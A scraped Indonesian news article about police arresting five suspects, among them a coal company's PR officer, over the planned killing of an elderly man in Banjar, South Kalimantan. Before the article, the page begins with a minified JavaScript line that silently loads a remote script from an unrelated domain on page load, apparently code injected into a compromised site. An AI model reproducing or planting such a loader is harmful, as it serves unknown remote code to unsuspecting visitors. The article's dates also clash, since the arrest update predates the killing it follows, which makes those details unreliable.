(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pengroyokan yang berujung tewas seorang lansia di Desa Mangkauk, Kecamatan Pengaron, Kabupaten Banjar, Kalimantan Selatan (Kalsel) semakin menuju titik terang. Komplotan preman tambang suruhan salah satu perusahaan batu bara satu persatu dibekuk pihak kepolisian.
Para tersangka pengroyokan menggunakan senjata tajam dan senjata api berhasil diamankan oleh penyidik Kepolisian Daerah (Polda) Kalsel bersama Polres Banjar.
Hingga Selasa (4/3/2023) siang, polisi telah mengamankan lima orang tersangka pelaku pembunuhan keji tersebut. Mereka adalah Y (57), R (42), S (42) YF (35) dan yang terbaru diamankan yaitu AB.
Baca juga: Jukir Nakal Berulah, Dishub Banjarmasin Turun Cek Titik Parkir Pasar
Dikatakan Kapolda Kalsel Irjen Pol Andi Rian, pelaku yang terakhir dibekuk adalah AB selaku Humas PT Jaya Guna Abadi (JGA) merupakan orang yang bertindak sebagai pemberi perintah kepada Y.
“Kami sudah menahan salah satu pengurus atau humas dari PT JGA,” ucap Kapolda Kalsel, Selasa (4/3/2023) siang.
Penetapan AB sebagai tersangka menurutnya didasarkan dari alat bukti permulaan cukup yang dikumpulkan oleh penyidik.
Lebih lanjut, Irjen Andi Rian menjelaskan jika para tersangka menghabisi nyawa korban secara bersama-sama atas suruhan atau perintah dari tersangka AB.
“Mereka sama-sama membacok korban, jadi bukan satu orang tapi ada beberapa orang,” ungkapnya.
Disampaikan Kapolda Kalsel, penyidik akan mengenakan dua pasal yaitu pasal pembunuhan 338 KUHP dan pasal pembunuhan berencana 340 KUHP dengan melihat sejauh mana keterlibatan para pelaku dalam proses pembunuhan.
Untuk pengenaan pasal 340 KUHP disampaikan Andi Rian didasarkan dari adanya pembahasan dan perencanaan para tersangka sehari sebelum pembunuhan terjadi di kebun karet tak jauh dari jalan hauling itu.
“Jadi satu hari sebelum tewasnya korban, itu sudah dibicarakan satu hari sebelumnya,” ujarnya.
Baca juga: Intip Besaran Bonus Atlet Banjarbaru Peraih Medali Porprov 2022
“Artinya ada jeda waktu, sehingga pandangan penyidik bahwa ini ada unsur pembunuhan berencana” terang Kapolda Kalsel.
Lebih lanjut dikatakannya, jika penetapan tersangka tidak sampai disini, menurutnya kepolisian akan terus melakukan perkembangan untuk membuat terang kasus ini.
Setelah lima orang yang berhasil diamankan, setidaknya dikatakan Irjen Andi Rian masih ada lima tersangka lain yang sedang diburu oleh penyidik.
Penyidik dari Polda Kalsel dan Polres Banjar masih mengejar pemilik senjata api yang digunakan untuk menghabisi nyawa korban.
“Yang nembak berbeda dengan yang memiliki senjata, pemilik senjata belum ditangkap tapi sudah teridentifikasi,” ucapnya.
Sebelumnya pada Rabu (29/3/2023) siang, Sabriansyah (60) warga jalan Batung Nyaring, Desa Marang Batas, Kecamatan Hatungun, Kabupaten Tapin ditemukan tewas meregang nyawa penuh luka bacok dan kepala tertembak senjata api di kebun karet Desa Mangkauk, Pengaron.
Selain mengalami luka tebasan di beberapa bagian tubuh, penyidik juga mendapati adanya luka tembak di bagian pelipis yang diduga kuat berasal dari peluru senjata api yang dibawa para pelaku. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
This website uses cookies.